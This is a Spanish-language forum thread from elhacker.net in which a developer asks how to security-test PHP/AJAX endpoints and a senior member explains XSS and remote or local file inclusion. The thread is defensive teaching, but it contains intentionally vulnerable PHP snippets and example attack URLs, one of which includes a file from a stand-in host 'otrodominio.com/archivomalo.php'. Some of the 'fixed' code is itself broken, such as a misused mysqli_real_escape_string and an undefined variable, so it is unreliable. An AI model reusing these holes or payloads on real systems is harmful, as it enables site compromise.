elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Explotar PHP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Explotar PHP  (Leído 1,699 veces)
DoHITB

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Explotar PHP
« en: 6 Enero 2013, 20:42 »

Buenas!

Actualmente tengo abiertos varios proyectos con PHP/JS/AJAX, y me gustaría hacerles test de seguridad... pero ando un poco corto en este tipo de conocimientos...

Es decir, por poner un ejemplo:

Yo tengo una web que hace una llamada AJAX a un archivo "archivo.php". A este archivo le paso por GET:

 - accion=**accion**
 - datos=**datos**

Un ejemplo, sería:

archivo.php?accion=li&u=correo@correo.com&p=pass

Entonces, yo en archivo.php reviso los parámetros GET, para que no haya ninguno que no figure en la lista de posibles parámetros, los filtro para que no tengan caracteres extraños, etc...

Pero mi pregunta es: podría hacer algo para que me fallara igualmente?

No se si explico bien la clase de conocimientos que me faltan... espero que me podáis ayudar!

Saludos!
En línea

jdc


Desconectado Desconectado

Mensajes: 3.420


janito dos cuatro...


Ver Perfil WWW
Re: Explotar PHP
« Respuesta #1 en: 6 Enero 2013, 20:55 »

Mira ya que estas "apurado", haz lo siquiente:

Cada vez que declares una variable que recibe un parametro dado por el usuarioenglobala en mysqli real escape string y htmlspecialchars y listo, si tienes tiempo busca en Google para saber como funcionan ambas.

Por ejemplo, tienes:

Código
  1. <?php
  2. $var = $_GET['action'];
  3. $var2 = $_GET['datos'];
  4.  
  5. echo 'La accion es: '.$var.' y los datos ingresados fueron: '.$var2;
  6. ?>

Tendrias que dejarlo asi:

Código
  1. <?php
  2. $var = mysqli_real_escape_string(htmlspecialchars($_GET['action'], ENT_QUOTES));
  3.  
  4. echo 'La accion es: '.$var.' y los datos ingresados fueron: '.$var2;
  5. ?>
En línea

DoHITB

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Explotar PHP
« Respuesta #2 en: 6 Enero 2013, 23:49 »

Buenas,

Gracias por la respuesta;

pero mi problema no reside exactamente ahí; está claro que se deben escapar los datos recibidos por GET y POST... mi duda es la siguiente:

Partiendo de algo así:

Código
  1. if($accion == "li"){
  2.  //accion "li"
  3. }else{
  4.  //error
  5. }
  6.  

Si yo accedo como pagina.php?accion=algo me dará error, pero mi pregunta es:

¿Se puede hacer algo más para explotar esta estructura?

Es decir, supuestamente a esta página accedo desde AJAX, pero si la solicito con VB.net, cURL... puedo enviarle cualquier otra cosa... y ahí es donde quiero probar la seguridad de mi web.

Gracias.
En línea

jdc


Desconectado Desconectado

Mensajes: 3.420


janito dos cuatro...


Ver Perfil WWW
Re: Explotar PHP
« Respuesta #3 en: 6 Enero 2013, 23:58 »

Si la estructura es asi no ya que action no es variable, sino una constante. Al tener en el else un error proteges por defecto tu estructura.
En línea

DoHITB

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Explotar PHP
« Respuesta #4 en: 7 Enero 2013, 00:13 »

Ok, gracias.

Pero, por ejemplo, si no escapara caracteres en el get, podría hacer que algo fuera mal si la estructura fuera así:

Código:
if($action == "li"){
//...
mysql_query("select....")//query usando datos de GET
}else{
//error
}

aún estando escapados los datos de GET, sigue siendo seguro?

Por "escapar" los datos GET, me refiero a:

 - Cambiar caracteres peligrosos como comillas, caracteres de comentario...
 - Cambiar caracteres de ciertas palabras por código html
En línea

jdc


Desconectado Desconectado

Mensajes: 3.420


janito dos cuatro...


Ver Perfil WWW
Re: Explotar PHP
« Respuesta #5 en: 7 Enero 2013, 01:20 »

Es que por ejemplo 'li' como te dije no es una variable, así que action no es vulnerable a absolutamente nada, ahora si después haces una consulta tipo select * from tabla where campo = $variable, te toca limpiar esa $variable
En línea

DoHITB

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Explotar PHP
« Respuesta #6 en: 7 Enero 2013, 20:17 »

Vale, entonces es como yo pensaba más o menos... aunque creía que si eras un "gurú" del PHP haría falta mucha seguridad para este tipo de bloques...

No obstante, supongo que puedo buscar vulnerabilidades en mis proyectos por otras partes... Me recomendarías algún patrón a buscar o algo similar?

Gracias!
En línea

jdc


Desconectado Desconectado

Mensajes: 3.420


janito dos cuatro...


Ver Perfil WWW
Re: Explotar PHP
« Respuesta #7 en: 7 Enero 2013, 20:39 »

Mira, te doy 2 ejemplos vulnerables para que lo entiendas mejor mejor:

1) Esto seria vulnerable a XSS:

Código
  1. <?php
  2. $action = $_GET['action'];
  3. echo 'Bienvenido a la sección: '.$action;
  4. ?>
  5.  

Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad

Código:
tudominio.com/index.php?action=hola<h1>esto es codigo html inyectado</h1>

Y se corrige con:

Código
  1. <?php
  2. $action = htmlspecialchars($_GET['action'], ENT_QUOTES);
  3. echo 'Bienvenido a la sección: '.$action;
  4. ?>
  5.  

2)Esto seria vulnerable a RFI y LFI:

Código
  1. <?php
  2. $section = $_GET['section'];
  3. include($section);
  4. ?>
  5.  

Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad

Código:
tudominio.com/index.php?action=http://otrodominio.com/archivomalo.php

Ojo que la solución para esto puede ser tan simple como poner en la variable una extension y un directorio tipo include ('includes/'.$section.'.php') tambien debes tener cuidado en los caracteres que permites en la variable, por ejemplo a veces pueden saltarse la extension con un byte nulo por ejemplo asi que cuidado.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Explotar CD'S
Dudas Generales
[Prescott] 7 1,176 Último mensaje 3 Marzo 2004, 21:19
por Rocky Balboa
Explotar
Hacking Básico
Yello_Overloop 2 556 Último mensaje 11 Mayo 2004, 05:10
por el-brujo
A punto de explotar
Desafíos - Wargames
pliskin007 4 1,953 Último mensaje 2 Julio 2005, 00:09
por pliskin007
Explotar winRARs
Bugs y Exploits
Geo666x 1 779 Último mensaje 18 Agosto 2005, 23:12
por z3r0s
Explotar Bug ?PageServices
Bugs y Exploits
chechi912 2 972 Último mensaje 16 Octubre 2005, 09:45
por chechi912
Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines